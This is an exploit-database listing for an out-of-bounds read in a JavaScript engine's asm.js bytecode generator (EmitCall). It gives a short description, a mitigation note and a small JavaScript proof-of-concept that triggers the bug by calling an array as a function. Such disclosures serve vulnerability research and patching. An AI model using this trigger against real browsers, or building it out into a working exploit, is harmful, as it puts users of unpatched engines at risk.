header-logo
Suggest Exploit
vendor:
N/A
by:
Anonymous
7.5
CVSS
HIGH
Out-of-bounds Read
125
CWE
Product Name: N/A
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: N/A
2020

AsmJSByteCodeGenerator::EmitCall OOB Read

AsmJSByteCodeGenerator::EmitCall which is used to emit call insturctions doesn't check if an array identifier is used as callee. The method handles those invalid calls in the same way it handles valid calls such as 'arr[idx & ...]()'. In these cases, the index register remains NoRegister which is (uint32_t)-1. It results in OOB read.

Mitigation:

Validate the callee before emitting call instructions.
Source

Exploit-DB raw data:

/*
AsmJSByteCodeGenerator::EmitCall which is used to emit call insturctions doesn't check if an array identifier is used as callee. The method handles those invalid calls in the same way it handles valid calls such as "arr[idx & ...]()". In these cases, the index register remains NoRegister which is (uint32_t)-1. It results in OOB read.

PoC:
*/

function Module() {
    'use asm';
    function f() {
        arr();
    }

    function g() {
    }

    var arr = [g];
    return f;
}

let f = Module();
f();